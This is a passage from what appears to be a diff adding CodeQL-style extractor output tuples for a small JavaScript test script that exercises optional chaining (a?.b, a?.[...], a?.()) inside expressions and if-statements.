+enclosingStmt(#20029,#20027) +exprContainers(#20029,#20001) +#20031=* +exprs(#20031,13,#20029,0,"a?.b[3].c?.(x)") +#20032=@"loc,{#10000},3,1,3,14" +locations_default(#20032,#10000,3,1,3,14) +hasLocation(#20031,#20032) +enclosingStmt(#20031,#20027) +exprContainers(#20031,#20001) +#20033=* +exprs(#20033,14,#20031,-1,"a?.b[3].c") +#20034=@"loc,{#10000},3,1,3,9" +locations_default(#20034,#10000,3,1,3,9) +hasLocation(#20033,#20034) +enclosingStmt(#20033,#20027) +exprContainers(#20033,#20001) +#20035=* +exprs(#20035,15,#20033,0,"a?.b[3]") +#20036=@"loc,{#10000},3,1,3,7" +locations_default(#20036,#10000,3,1,3,7) +hasLocation(#20035,#20036) +enclosingStmt(#20035,#20027) +exprContainers(#20035,#20001) +#20037=* +exprs(#20037,14,#20035,0,"a?.b") +#20038=@"loc,{#10000},3,1,3,4" +locations_default(#20038,#10000,3,1,3,4) +hasLocation(#20037,#20038) +enclosingStmt(#20037,#20027) +exprContainers(#20037,#20001) +#20039=* +exprs(#20039,79,#20037,0,"a") +#20040=@"loc,{#10000},3,1,3,1" +locations_default(#20040,#10000,3,1,3,1) +hasLocation(#20039,#20040) +enclosingStmt(#20039,#20027) +exprContainers(#20039,#20001) +literals("a","a",#20039) +bind(#20039,#20015) +#20041=* +exprs(#20041,0,#20037,1,"b") +#20042=@"loc,{#10000},3,4,3,4" +locations_default(#20042,#10000,3,4,3,4) +hasLocation(#20041,#20042) +enclosingStmt(#20041,#20027) +exprContainers(#20041,#20001) +literals("b","b",#20041) +isOptionalChaining(#20037) +#20043=* +exprs(#20043,3,#20035,1,"3") +#20044=@"loc,{#10000},3,6,3,6" +locations_default(#20044,#10000,3,6,3,6) +hasLocation(#20043,#20044) +enclosingStmt(#20043,#20027) +exprContainers(#20043,#20001) +literals("3","3",#20043) +#20045=* +exprs(#20045,0,#20033,1,"c") +#20046=@"loc,{#10000},3,9,3,9" +locations_default(#20046,#10000,3,9,3,9) +hasLocation(#20045,#20046) +enclosingStmt(#20045,#20027) +exprContainers(#20045,#20001) +literals("c","c",#20045) +#20047=* +exprs(#20047,79,#20031,0,"x") +#20048=@"loc,{#10000},3,13,3,13" +locations_default(#20048,#10000,3,13,3,13) +hasLocation(#20047,#20048) +enclosingStmt(#20047,#20027) +exprContainers(#20047,#20001) +literals("x","x",#20047) +bind(#20047,#20024) +isOptionalChaining(#20031) +#20049=* +exprs(#20049,0,#20029,1,"d") +#20050=@"loc,{#10000},3,16,3,16" +locations_default(#20050,#10000,3,16,3,16) +hasLocation(#20049,#20050) +enclosingStmt(#20049,#20027) +exprContainers(#20049,#20001) +literals("d","d",#20049) +#20051=* +stmts(#20051,2,#20001,2,"(a?.b).c;") +#20052=@"loc,{#10000},5,1,5,9" +locations_default(#20052,#10000,5,1,5,9) +hasLocation(#20051,#20052) +stmtContainers(#20051,#20001) +#20053=* +exprs(#20053,14,#20051,0,"(a?.b).c") +#20054=@"loc,{#10000},5,1,5,8" +locations_default(#20054,#10000,5,1,5,8) +hasLocation(#20053,#20054) +enclosingStmt(#20053,#20051) +exprContainers(#20053,#20001) +#20055=* +exprs(#20055,63,#20053,0,"(a?.b)") +#20056=@"loc,{#10000},5,1,5,6" +locations_default(#20056,#10000,5,1,5,6) +hasLocation(#20055,#20056) +enclosingStmt(#20055,#20051) +exprContainers(#20055,#20001) +#20057=* +exprs(#20057,14,#20055,0,"a?.b") +#20058=@"loc,{#10000},5,2,5,5" +locations_default(#20058,#10000,5,2,5,5) +hasLocation(#20057,#20058) +enclosingStmt(#20057,#20051) +exprContainers(#20057,#20001) +#20059=* +exprs(#20059,79,#20057,0,"a") +#20060=@"loc,{#10000},5,2,5,2" +locations_default(#20060,#10000,5,2,5,2) +hasLocation(#20059,#20060) +enclosingStmt(#20059,#20051) +exprContainers(#20059,#20001) +literals("a","a",#20059) +bind(#20059,#20015) +#20061=* +exprs(#20061,0,#20057,1,"b") +#20062=@"loc,{#10000},5,5,5,5" +locations_default(#20062,#10000,5,5,5,5) +hasLocation(#20061,#20062) +enclosingStmt(#20061,#20051) +exprContainers(#20061,#20001) +literals("b","b",#20061) +isOptionalChaining(#20057) +#20063=* +exprs(#20063,0,#20053,1,"c") +#20064=@"loc,{#10000},5,8,5,8" +locations_default(#20064,#10000,5,8,5,8) +hasLocation(#20063,#20064) +enclosingStmt(#20063,#20051) +exprContainers(#20063,#20001) +literals("c","c",#20063) +#20065=* +stmts(#20065,2,#20001,3,"(a?.b.c).d;") +#20066=@"loc,{#10000},7,1,7,11" +locations_default(#20066,#10000,7,1,7,11) +hasLocation(#20065,#20066) +stmtContainers(#20065,#20001) +#20067=* +exprs(#20067,14,#20065,0,"(a?.b.c).d") +#20068=@"loc,{#10000},7,1,7,10" +locations_default(#20068,#10000,7,1,7,10) +hasLocation(#20067,#20068) +enclosingStmt(#20067,#20065) +exprContainers(#20067,#20001) +#20069=* +exprs(#20069,63,#20067,0,"(a?.b.c)") +#20070=@"loc,{#10000},7,1,7,8" +locations_default(#20070,#10000,7,1,7,8) +hasLocation(#20069,#20070) +enclosingStmt(#20069,#20065) +exprContainers(#20069,#20001) +#20071=* +exprs(#20071,14,#20069,0,"a?.b.c") +#20072=@"loc,{#10000},7,2,7,7" +locations_default(#20072,#10000,7,2,7,7) +hasLocation(#20071,#20072) +enclosingStmt(#20071,#20065) +exprContainers(#20071,#20001) +#20073=* +exprs(#20073,14,#20071,0,"a?.b") +#20074=@"loc,{#10000},7,2,7,5" +locations_default(#20074,#10000,7,2,7,5) +hasLocation(#20073,#20074) +enclosingStmt(#20073,#20065) +exprContainers(#20073,#20001) +#20075=* +exprs(#20075,79,#20073,0,"a") +#20076=@"loc,{#10000},7,2,7,2" +locations_default(#20076,#10000,7,2,7,2) +hasLocation(#20075,#20076) +enclosingStmt(#20075,#20065) +exprContainers(#20075,#20001) +literals("a","a",#20075) +bind(#20075,#20015) +#20077=* +exprs(#20077,0,#20073,1,"b") +#20078=@"loc,{#10000},7,5,7,5" +locations_default(#20078,#10000,7,5,7,5) +hasLocation(#20077,#20078) +enclosingStmt(#20077,#20065) +exprContainers(#20077,#20001) +literals("b","b",#20077) +isOptionalChaining(#20073) +#20079=* +exprs(#20079,0,#20071,1,"c") +#20080=@"loc,{#10000},7,7,7,7" +locations_default(#20080,#10000,7,7,7,7) +hasLocation(#20079,#20080) +enclosingStmt(#20079,#20065) +exprContainers(#20079,#20001) +literals("c","c",#20079) +#20081=* +exprs(#20081,0,#20067,1,"d") +#20082=@"loc,{#10000},7,10,7,10" +locations_default(#20082,#10000,7,10,7,10) +hasLocation(#20081,#20082) +enclosingStmt(#20081,#20065) +exprContainers(#20081,#20001) +literals("d","d",#20081) +#20083=* +stmts(#20083,2,#20001,4,"a?.[b?.c?.d].e?.f;") +#20084=@"loc,{#10000},9,1,9,18" +locations_default(#20084,#10000,9,1,9,18) +hasLocation(#20083,#20084) +stmtContainers(#20083,#20001) +#20085=* +exprs(#20085,14,#20083,0,"a?.[b?.c?.d].e?.f") +#20086=@"loc,{#10000},9,1,9,17" +locations_default(#20086,#10000,9,1,9,17) +hasLocation(#20085,#20086) +enclosingStmt(#20085,#20083) +exprContainers(#20085,#20001) +#20087=* +exprs(#20087,14,#20085,0,"a?.[b?.c?.d].e") +#20088=@"loc,{#10000},9,1,9,14" +locations_default(#20088,#10000,9,1,9,14) +hasLocation(#20087,#20088) +enclosingStmt(#20087,#20083) +exprContainers(#20087,#20001) +#20089=* +exprs(#20089,15,#20087,0,"a?.[b?.c?.d]") +#20090=@"loc,{#10000},9,1,9,12" +locations_default(#20090,#10000,9,1,9,12) +hasLocation(#20089,#20090) +enclosingStmt(#20089,#20083) +exprContainers(#20089,#20001) +#20091=* +exprs(#20091,79,#20089,0,"a") +#20092=@"loc,{#10000},9,1,9,1" +locations_default(#20092,#10000,9,1,9,1) +hasLocation(#20091,#20092) +enclosingStmt(#20091,#20083) +exprContainers(#20091,#20001) +literals("a","a",#20091) +bind(#20091,#20015) +#20093=* +exprs(#20093,14,#20089,1,"b?.c?.d") +#20094=@"loc,{#10000},9,5,9,11" +locations_default(#20094,#10000,9,5,9,11) +hasLocation(#20093,#20094) +enclosingStmt(#20093,#20083) +exprContainers(#20093,#20001) +#20095=* +exprs(#20095,14,#20093,0,"b?.c") +#20096=@"loc,{#10000},9,5,9,8" +locations_default(#20096,#10000,9,5,9,8) +hasLocation(#20095,#20096) +enclosingStmt(#20095,#20083) +exprContainers(#20095,#20001) +#20097=* +exprs(#20097,79,#20095,0,"b") +#20098=@"loc,{#10000},9,5,9,5" +locations_default(#20098,#10000,9,5,9,5) +hasLocation(#20097,#20098) +enclosingStmt(#20097,#20083) +exprContainers(#20097,#20001) +literals("b","b",#20097) +#20099=@"var;{b};{#20000}" +variables(#20099,"b",#20000) +bind(#20097,#20099) +#20100=* +exprs(#20100,0,#20095,1,"c") +#20101=@"loc,{#10000},9,8,9,8" +locations_default(#20101,#10000,9,8,9,8) +hasLocation(#20100,#20101) +enclosingStmt(#20100,#20083) +exprContainers(#20100,#20001) +literals("c","c",#20100) +isOptionalChaining(#20095) +#20102=* +exprs(#20102,0,#20093,1,"d") +#20103=@"loc,{#10000},9,11,9,11" +locations_default(#20103,#10000,9,11,9,11) +hasLocation(#20102,#20103) +enclosingStmt(#20102,#20083) +exprContainers(#20102,#20001) +literals("d","d",#20102) +isOptionalChaining(#20093) +isOptionalChaining(#20089) +#20104=* +exprs(#20104,0,#20087,1,"e") +#20105=@"loc,{#10000},9,14,9,14" +locations_default(#20105,#10000,9,14,9,14) +hasLocation(#20104,#20105) +enclosingStmt(#20104,#20083) +exprContainers(#20104,#20001) +literals("e","e",#20104) +#20106=* +exprs(#20106,0,#20085,1,"f") +#20107=@"loc,{#10000},9,17,9,17" +locations_default(#20107,#10000,9,17,9,17) +hasLocation(#20106,#20107) +enclosingStmt(#20106,#20083) +exprContainers(#20106,#20001) +literals("f","f",#20106) +isOptionalChaining(#20085) +#20108=* +stmts(#20108,2,#20001,5,"a?.()[b ... ?.().f;") +#20109=@"loc,{#10000},11,1,11,29" +locations_default(#20109,#10000,11,1,11,29) +hasLocation(#20108,#20109) +stmtContainers(#20108,#20001) +#20110=* +exprs(#20110,14,#20108,0,"a?.()[b ... e?.().f") +#20111=@"loc,{#10000},11,1,11,28" +locations_default(#20111,#10000,11,1,11,28) +hasLocation(#20110,#20111) +enclosingStmt(#20110,#20108) +exprContainers(#20110,#20001) +#20112=* +exprs(#20112,13,#20110,0,"a?.()[b ... ].e?.()") +#20113=@"loc,{#10000},11,1,11,26" +locations_default(#20113,#10000,11,1,11,26) +hasLocation(#20112,#20113) +enclosingStmt(#20112,#20108) +exprContainers(#20112,#20001) +#20114=* +exprs(#20114,14,#20112,-1,"a?.()[b ... ().d].e") +#20115=@"loc,{#10000},11,1,11,22" +locations_default(#20115,#10000,11,1,11,22) +hasLocation(#20114,#20115) +enclosingStmt(#20114,#20108) +exprContainers(#20114,#20001) +#20116=* +exprs(#20116,15,#20114,0,"a?.()[b?.().c?.().d]") +#20117=@"loc,{#10000},11,1,11,20" +locations_default(#20117,#10000,11,1,11,20) +hasLocation(#20116,#20117) +enclosingStmt(#20116,#20108) +exprContainers(#20116,#20001) +#20118=* +exprs(#20118,13,#20116,0,"a?.()") +#20119=@"loc,{#10000},11,1,11,5" +locations_default(#20119,#10000,11,1,11,5) +hasLocation(#20118,#20119) +enclosingStmt(#20118,#20108) +exprContainers(#20118,#20001) +#20120=* +exprs(#20120,79,#20118,-1,"a") +#20121=@"loc,{#10000},11,1,11,1" +locations_default(#20121,#10000,11,1,11,1) +hasLocation(#20120,#20121) +enclosingStmt(#20120,#20108) +exprContainers(#20120,#20001) +literals("a","a",#20120) +bind(#20120,#20015) +isOptionalChaining(#20118) +#20122=* +exprs(#20122,14,#20116,1,"b?.().c?.().d") +#20123=@"loc,{#10000},11,7,11,19" +locations_default(#20123,#10000,11,7,11,19) +hasLocation(#20122,#20123) +enclosingStmt(#20122,#20108) +exprContainers(#20122,#20001) +#20124=* +exprs(#20124,13,#20122,0,"b?.().c?.()") +#20125=@"loc,{#10000},11,7,11,17" +locations_default(#20125,#10000,11,7,11,17) +hasLocation(#20124,#20125) +enclosingStmt(#20124,#20108) +exprContainers(#20124,#20001) +#20126=* +exprs(#20126,14,#20124,-1,"b?.().c") +#20127=@"loc,{#10000},11,7,11,13" +locations_default(#20127,#10000,11,7,11,13) +hasLocation(#20126,#20127) +enclosingStmt(#20126,#20108) +exprContainers(#20126,#20001) +#20128=* +exprs(#20128,13,#20126,0,"b?.()") +#20129=@"loc,{#10000},11,7,11,11" +locations_default(#20129,#10000,11,7,11,11) +hasLocation(#20128,#20129) +enclosingStmt(#20128,#20108) +exprContainers(#20128,#20001) +#20130=* +exprs(#20130,79,#20128,-1,"b") +#20131=@"loc,{#10000},11,7,11,7" +locations_default(#20131,#10000,11,7,11,7) +hasLocation(#20130,#20131) +enclosingStmt(#20130,#20108) +exprContainers(#20130,#20001) +literals("b","b",#20130) +bind(#20130,#20099) +isOptionalChaining(#20128) +#20132=* +exprs(#20132,0,#20126,1,"c") +#20133=@"loc,{#10000},11,13,11,13" +locations_default(#20133,#10000,11,13,11,13) +hasLocation(#20132,#20133) +enclosingStmt(#20132,#20108) +exprContainers(#20132,#20001) +literals("c","c",#20132) +isOptionalChaining(#20124) +#20134=* +exprs(#20134,0,#20122,1,"d") +#20135=@"loc,{#10000},11,19,11,19" +locations_default(#20135,#10000,11,19,11,19) +hasLocation(#20134,#20135) +enclosingStmt(#20134,#20108) +exprContainers(#20134,#20001) +literals("d","d",#20134) +#20136=* +exprs(#20136,0,#20114,1,"e") +#20137=@"loc,{#10000},11,22,11,22" +locations_default(#20137,#10000,11,22,11,22) +hasLocation(#20136,#20137) +enclosingStmt(#20136,#20108) +exprContainers(#20136,#20001) +literals("e","e",#20136) +isOptionalChaining(#20112) +#20138=* +exprs(#20138,0,#20110,1,"f") +#20139=@"loc,{#10000},11,28,11,28" +locations_default(#20139,#10000,11,28,11,28) +hasLocation(#20138,#20139) +enclosingStmt(#20138,#20108) +exprContainers(#20138,#20001) +literals("f","f",#20138) +#20140=* +stmts(#20140,3,#20001,6,"if (a?. ... alse;\n}") +#20141=@"loc,{#10000},13,1,17,1" +locations_default(#20141,#10000,13,1,17,1) +hasLocation(#20140,#20141) +stmtContainers(#20140,#20001) +#20142=* +exprs(#20142,14,#20140,0,"a?.b") +#20143=@"loc,{#10000},13,5,13,8" +locations_default(#20143,#10000,13,5,13,8) +hasLocation(#20142,#20143) +enclosingStmt(#20142,#20140) +exprContainers(#20142,#20001) +#20144=* +exprs(#20144,79,#20142,0,"a") +#20145=@"loc,{#10000},13,5,13,5" +locations_default(#20145,#10000,13,5,13,5) +hasLocation(#20144,#20145) +enclosingStmt(#20144,#20140) +exprContainers(#20144,#20001) +literals("a","a",#20144) +bind(#20144,#20015) +#20146=* +exprs(#20146,0,#20142,1,"b") +#20147=@"loc,{#10000},13,8,13,8" +locations_default(#20147,#10000,13,8,13,8) +hasLocation(#20146,#20147) +enclosingStmt(#20146,#20140) +exprContainers(#20146,#20001) +literals("b","b",#20146) +isOptionalChaining(#20142) +#20148=* +stmts(#20148,1,#20140,1,"{\n true;\n}") +#20149=@"loc,{#10000},13,11,15,1" +locations_default(#20149,#10000,13,11,15,1) +hasLocation(#20148,#20149) +stmtContainers(#20148,#20001) +#20150=* +stmts(#20150,2,#20148,0,"true;") +#20151=@"loc,{#10000},14,5,14,9" +locations_default(#20151,#10000,14,5,14,9) +hasLocation(#20150,#20151) +stmtContainers(#20150,#20001) +#20152=* +exprs(#20152,2,#20150,0,"true") +#20153=@"loc,{#10000},14,5,14,8" +locations_default(#20153,#10000,14,5,14,8) +hasLocation(#20152,#20153) +enclosingStmt(#20152,#20150) +exprContainers(#20152,#20001) +literals("true","true",#20152) +#20154=* +stmts(#20154,1,#20140,2,"{\n false;\n}") +#20155=@"loc,{#10000},15,8,17,1" +locations_default(#20155,#10000,15,8,17,1) +hasLocation(#20154,#20155) +stmtContainers(#20154,#20001) +#20156=* +stmts(#20156,2,#20154,0,"false;") +#20157=@"loc,{#10000},16,5,16,10" +locations_default(#20157,#10000,16,5,16,10) +hasLocation(#20156,#20157) +stmtContainers(#20156,#20001) +#20158=* +exprs(#20158,2,#20156,0,"false") +#20159=@"loc,{#10000},16,5,16,9" +locations_default(#20159,#10000,16,5,16,9) +hasLocation(#20158,#20159) +enclosingStmt(#20158,#20156) +exprContainers(#20158,#20001) +literals("false","false",#20158) +#20160=* +stmts(#20160,3,#20001,7,"if (!a? ... alse;\n}") +#20161=@"loc,{#10000},19,1,23,1" +locations_default(#20161,#10000,19,1,23,1) +hasLocation(#20160,#20161) +stmtContainers(#20160,#20001) +#20162=* +exprs(#20162,18,#20160,0,"!a?.b") +#20163=@"loc,{#10000},19,5,19,9" +locations_default(#20163,#10000,19,5,19,9) +hasLocation(#20162,#20163) +enclosingStmt(#20162,#20160) +exprContainers(#20162,#20001) +#20164=* +exprs(#20164,14,#20162,0,"a?.b") +#20165=@"loc,{#10000},19,6,19,9" +locations_default(#20165,#10000,19,6,19,9) +hasLocation(#20164,#20165) +enclosingStmt(#20164,#20160) +exprContainers(#20164,#20001) +#20166=* +exprs(#20166,79,#20164,0,"a") +#20167=@"loc,{#10000},19,6,19,6" +locations_default(#20167,#10000,19,6,19,6) +hasLocation(#20166,#20167) +enclosingStmt(#20166,#20160) +exprContainers(#20166,#20001) +literals("a","a",#20166) +bind(#20166,#20015) +#20168=* +exprs(#20168,0,#20164,1,"b") +#20169=@"loc,{#10000},19,9,19,9" +locations_default(#20169,#10000,19,9,19,9) +hasLocation(#20168,#20169) +enclosingStmt(#20168,#20160) +exprContainers(#20168,#20001) +literals("b","b",#20168) +isOptionalChaining(#20164) +#20170=* +stmts(#20170,1,#20160,1,"{\n true;\n}") +#20171=@"loc,{#10000},19,12,21,1" +locations_default(#20171,#10000,19,12,21,1) +hasLocation(#20170,#20171) +stmtContainers(#20170,#20001) +#20172=* +stmts(#20172,2,#20170,0,"true;") +#20173=@"loc,{#10000},20,5,20,9" +locations_default(#20173,#10000,20,5,20,9) +hasLocation(#20172,#20173) +stmtContainers(#20172,#20001) +#20174=* +exprs(#20174,2,#20172,0,"true") +#20175=@"loc,{#10000},20,5,20,8" +locations_default(#20175,#10000,20,5,20,8) +hasLocation(#20174,#20175) +enclosingStmt(#20174,#20172) +exprContainers(#20174,#20001) +literals("true","true",#20174) +#20176=* +stmts(#20176,1,#20160,2,"{\n false;\n}") +#20177=@"loc,{#10000},21,8,23,1" +locations_default(#20177,#10000,21,8,23,1) +hasLocation(#20176,#20177) +stmtContainers(#20176,#20001) +#20178=* +stmts(#20178,2,#20176,0,"false;") +#20179=@"loc,{#10000},22,5,22,10" +locations_default(#20179,#10000,22,5,22,10) +hasLocation(#20178,#20179) +stmtContainers(#20178,#20001) +#20180=* +exprs(#20180,2,#20178,0,"false") +#20181=@"loc,{#10000},22,5,22,9" +locations_default(#20181,#10000,22,5,22,9) +hasLocation(#20180,#20181) +enclosingStmt(#20180,#20178) +exprContainers(#20180,#20001) +literals("false","false",#20180) +#20182=* +stmts(#20182,3,#20001,8,"if (a?. ... alse;\n}") +#20183=@"loc,{#10000},25,1,29,1" +locations_default(#20183,#10000,25,1,29,1) +hasLocation(#20182,#20183) +stmtContainers(#20182,#20001) +#20184=* +exprs(#20184,44,#20182,0,"a?.b && c?.d") +#20185=@"loc,{#10000},25,5,25,16" +locations_default(#20185,#10000,25,5,25,16) +hasLocation(#20184,#20185) +enclosingStmt(#20184,#20182) +exprContainers(#20184,#20001) +#20186=* +exprs(#20186,14,#20184,0,"a?.b") +#20187=@"loc,{#10000},25,5,25,8" +locations_default(#20187,#10000,25,5,25,8) +hasLocation(#20186,#20187) +enclosingStmt(#20186,#20182) +exprContainers(#20186,#20001) +#20188=* +exprs(#20188,79,#20186,0,"a") +#20189=@"loc,{#10000},25,5,25,5" +locations_default(#20189,#10000,25,5,25,5) +hasLocation(#20188,#20189) +enclosingStmt(#20188,#20182) +exprContainers(#20188,#20001) +literals("a","a",#20188) +bind(#20188,#20015) +#20190=* +exprs(#20190,0,#20186,1,"b") +#20191=@"loc,{#10000},25,8,25,8" +locations_default(#20191,#10000,25,8,25,8) +hasLocation(#20190,#20191) +enclosingStmt(#20190,#20182) +exprContainers(#20190,#20001) +literals("b","b",#20190) +isOptionalChaining(#20186) +#20192=* +exprs(#20192,14,#20184,1,"c?.d") +#20193=@"loc,{#10000},25,13,25,16" +locations_default(#20193,#10000,25,13,25,16) +hasLocation(#20192,#20193) +enclosingStmt(#20192,#20182) +exprContainers(#20192,#20001) +#20194=* +exprs(#20194,79,#20192,0,"c") +#20195=@"loc,{#10000},25,13,25,13" +locations_default(#20195,#10000,25,13,25,13) +hasLocation(#20194,#20195) +enclosingStmt(#20194,#20182) +exprContainers(#20194,#20001) +literals("c","c",#20194) +#20196=@"var;{c};{#20000}" +variables(#20196,"c",#20000) +bind(#20194,#20196) +#20197=* +exprs(#20197,0,#20192,1,"d") +#20198=@"loc,{#10000},25,16,25,16" +locations_default(#20198,#10000,25,16,25,16) +hasLocation(#20197,#20198) +enclosingStmt(#20197,#20182) +exprContainers(#20197,#20001) +literals("d","d",#20197) +isOptionalChaining(#20192) +#20199=* +stmts(#20199,1,#20182,1,"{\n true;\n}") +#20200=@"loc,{#10000},25,19,27,1" +locations_default(#20200,#10000,25,19,27,1) +hasLocation(#20199,#20200) +stmtContainers(#20199,#20001) +#20201=* +stmts(#20201,2,#20199,0,"true;") +#20202=@"loc,{#10000},26,5,26,9" +locations_default(#20202,#10000,26,5,26,9) +hasLocation(#20201,#20202) +stmtContainers(#20201,#20001) +#20203=* +exprs(#20203,2,#20201,0,"true") +#20204=@"loc,{#10000},26,5,26,8" +locations_default(#20204,#10000,26,5,26,8) +hasLocation(#20203,#20204) +enclosingStmt(#20203,#20201) +exprContainers(#20203,#20001) +literals("true","true",#20203) +#20205=* +stmts(#20205,1,#20182,2,"{\n false;\n}") +#20206=@"loc,{#10000},27,8,29,1" +locations_default(#20206,#10000,27,8,29,1) +hasLocation(#20205,#20206) +stmtContainers(#20205,#20001) +#20207=* +stmts(#20207,2,#20205,0,"false;") +#20208=@"loc,{#10000},28,5,28,10" +locations_default(#20208,#10000,28,5,28,10) +hasLocation(#20207,#20208) +stmtContainers(#20207,#20001) +#20209=* +exprs(#20209,2,#20207,0,"false") +#20210=@"loc,{#10000},28,5,28,9" +locations_default(#20210,#10000,28,5,28,9) +hasLocation(#20209,#20210) +enclosingStmt(#20209,#20207) +exprContainers(#20209,#20001) +literals("false","false",#20209) +#20211=* +lines(#20211,#20001,"a?.b.c(++x).d;"," +") +hasLocation(#20211,#20004) +#20212=* +lines(#20212,#20001,""," +") +#20213=@"loc,{#10000},2,1,2,0" +locations_default(#20213,#10000,2,1,2,0) +hasLocation(#20212,#20213) +#20214=* +lines(#20214,#20001,"a?.b[3].c?.(x).d;"," +") +hasLocation(#20214,#20028) +#20215=* +lines(#20215,#20001,""," +") +#20216=@"loc,{#10000},4,1,4,0" +locations_default(#20216,#10000,4,1,4,0) +hasLocation(#20215,#20216) +#20217=* +lines(#20217,#20001,"(a?.b).c;"," +") +hasLocation(#20217,#20052) +#20218=* +lines(#20218,#20001,""," +") +#20219=@"loc,{#10000},6,1,6,0" +locations_default(#20219,#10000,6,1,6,0) +hasLocation(#20218,#20219) +#20220=* +lines(#20220,#20001,"(a?.b.c).d;"," +") +hasLocation(#20220,#20066) +#20221=* +lines(#20221,#20001,""," +") +#20222=@"loc,{#10000},8,1,8,0" +locations_default(#20222,#10000,8,1,8,0) +hasLocation(#20221,#20222) +#20223=* +lines(#20223,#20001,"a?.[b?.c?.d].e?.f;"," +") +hasLocation(#20223,#20084) +#20224=* +lines(#20224,#20001,""," +") +#20225=@"loc,{#10000},10,1,10,0" +locations_default(#20225,#10000,10,1,10,0) +hasLocation(#20224,#20225) +#20226=* +lines(#20226,#20001,"a?.()[b?.().c?.().d].e?.().f;"," +") +hasLocation(#20226,#20109) +#20227=* +lines(#20227,#20001,""," +") +#20228=@"loc,{#10000},12,1,12,0" +locations_default(#20228,#10000,12,1,12,0) +hasLocation(#20227,#20228) +#20229=* +lines(#20229,#20001,"if (a?.b) {"," +") +#20230=@"loc,{#10000},13,1,13,11" +locations_default(#20230,#10000,13,1,13,11) +hasLocation(#20229,#20230) +#20231=* +lines(#20231,#20001," true;"," +") +#20232=@"loc,{#10000},14,1,14,9" +locations_default(#20232,#10000,14,1,14,9) +hasLocation(#20231,#20232) +indentation(#10000,14," ",4) +#20233=* +lines(#20233,#20001,"} else {"," +") +#20234=@"loc,{#10000},15,1,15,8" +locations_default(#20234,#10000,15,1,15,8) +hasLocation(#20233,#20234) +#20235=* +lines(#20235,#20001," false;"," +") +#20236=@"loc,{#10000},16,1,16,10" +locations_default(#20236,#10000,16,1,16,10) +hasLocation(#20235,#20236) +indentation(#10000,16," ",4) +#20237=* +lines(#20237,#20001,"}"," +") +#20238=@"loc,{#10000},17,1,17,1" +locations_default(#20238,#10000,17,1,17,1) +hasLocation(#20237,#20238) +#20239=* +lines(#20239,#20001,""," +") +#20240=@"loc,{#10000},18,1,18,0" +locations_default(#20240,#10000,18,1,18,0) +hasLocation(#20239,#20240) +#20241=* +lines(#20241,#20001,"if (!a?.b) {"," +") +#20242=@"loc,{#10000},19,1,19,12" +locations_default(#20242,#10000,19,1,19,12) +hasLocation(#20241,#20242) +#20243=* +lines(#20243,#20001," true;"," +") +#20244=@"loc,{#10000},20,1,20,9" +locations_default(#20244,#10000,20,1,20,9) +hasLocation(#20243,#20244) +indentation(#10000,20," ",4) +#20245=* +lines(#20245,#20001,"} else {"," +") +#20246=@"loc,{#10000},21,1,21,8" +locations_default(#20246,#10000,21,1,21,8) +hasLocation(#20245,#20246) +#20247=* +lines(#20247,#20001," false;"," +") +#20248=@"loc,{#10000},22,1,22,10" +locations_default(#20248,#10000,22,1,22,10) +hasLocation(#20247,#20248) +indentation(#10000,22," ",4) +#20249=* +lines(#20249,#20001,"}"," +") +#20250=@"loc,{#10000},23,1,23,1" +locations_default(#20250,#10000,23,1,23,1) +hasLocation(#20249,#20250) +#20251=* +lines(#20251,#20001,""," +") +#20252=@"loc,{#10000},24,1,24,0" +locations_default(#20252,#10000,24,1,24,0) +hasLocation(#20251,#20252) +#20253=* +lines(#20253,#20001,"if (a?.b && c?.d) {"," +") +#20254=@"loc,{#10000},25,1,25,19" +locations_default(#20254,#10000,25,1,25,19) +hasLocation(#20253,#20254) +#20255=* +lines(#20255,#20001," true;"," +") +#20256=@"loc,{#10000},26,1,26,9" +locations_default(#20256,#10000,26,1,26,9) +hasLocation(#20255,#20256) +indentation(#10000,26," ",4) +#20257=* +lines(#20257,#20001,"} else {"," +") +#20258=@"loc,{#10000},27,1,27,8" +locations_default(#20258,#10000,27,1,27,8) +hasLocation(#20257,#20258) +#20259=* +lines(#20259,#20001," false;"," +") +#20260=@"loc,{#10000},28,1,28,10" +locations_default(#20260,#10000,28,1,28,10) +hasLocation(#20259,#20260) +indentation(#10000,28," ",4) +#20261=* +lines(#20261,#20001,"}"," +") +#20262=@"loc,{#10000},29,1,29,1" +locations_default(#20262,#10000,29,1,29,1) +hasLocation(#20261,#20262) +numlines(#20001,29,21,0) +#20263=* +tokeninfo(#20263,6,#20001,0,"a") +hasLocation(#20263,#20014) +#20264=* +tokeninfo(#20264,8,#20001,1,"?.") +#20265=@"loc,{#10000},1,2,1,3" +locations_default(#20265,#10000,1,2,1,3) +hasLocation(#20264,#20265) +#20266=* +tokeninfo(#20266,6,#20001,2,"b") +hasLocation(#20266,#20017) +#20267=* +tokeninfo(#20267,8,#20001,3,".") +#20268=@"loc,{#10000},1,5,1,5" +locations_default(#20268,#10000,1,5,1,5) +hasLocation(#20267,#20268) +#20269=* +tokeninfo(#20269,6,#20001,4,"c") +hasLocation(#20269,#20019) +#20270=* +tokeninfo(#20270,8,#20001,5,"(") +#20271=@"loc,{#10000},1,7,1,7" +locations_default(#20271,#10000,1,7,1,7) +hasLocation(#20270,#20271) +#20272=* +tokeninfo(#20272,8,#20001,6,"++") +#20273=@"loc,{#10000},1,8,1,9" +locations_default(#20273,#10000,1,8,1,9) +hasLocation(#20272,#20273) +#20274=* +tokeninfo(#20274,6,#20001,7,"x") +hasLocation(#20274,#20023) +#20275=* +tokeninfo(#20275,8,#20001,8,")") +#20276=@"loc,{#10000},1,11,1,11" +locations_default(#20276,#10000,1,11,1,11) +hasLocation(#20275,#20276) +#20277=* +tokeninfo(#20277,8,#20001,9,".") +#20278=@"loc,{#10000},1,12,1,12" +locations_default(#20278,#10000,1,12,1,12) +hasLocation(#20277,#20278) +#20279=* +tokeninfo(#20279,6,#20001,10,"d") +hasLocation(#20279,#20026) +#20280=* +tokeninfo(#20280,8,#20001,11,";") +#20281=@"loc,{#10000},1,14,1,14" +locations_default(#20281,#10000,1,14,1,14) +hasLocation(#20280,#20281) +#20282=* +tokeninfo(#20282,6,#20001,12,"a") +hasLocation(#20282,#20040) +#20283=* +tokeninfo(#20283,8,#20001,13,"?.") +#20284=@"loc,{#10000},3,2,3,3" +locations_default(#20284,#10000,3,2,3,3) +hasLocation(#20283,#20284) +#20285=* +tokeninfo(#20285,6,#20001,14,"b") +hasLocation(#20285,#20042) +#20286=* +tokeninfo(#20286,8,#20001,15,"[") +#20287=@"loc,{#10000},3,5,3,5" +locations_default(#20287,#10000,3,5,3,5) +hasLocation(#20286,#20287) +#20288=* +tokeninfo(#20288,3,#20001,16,"3") +hasLocation(#20288,#20044) 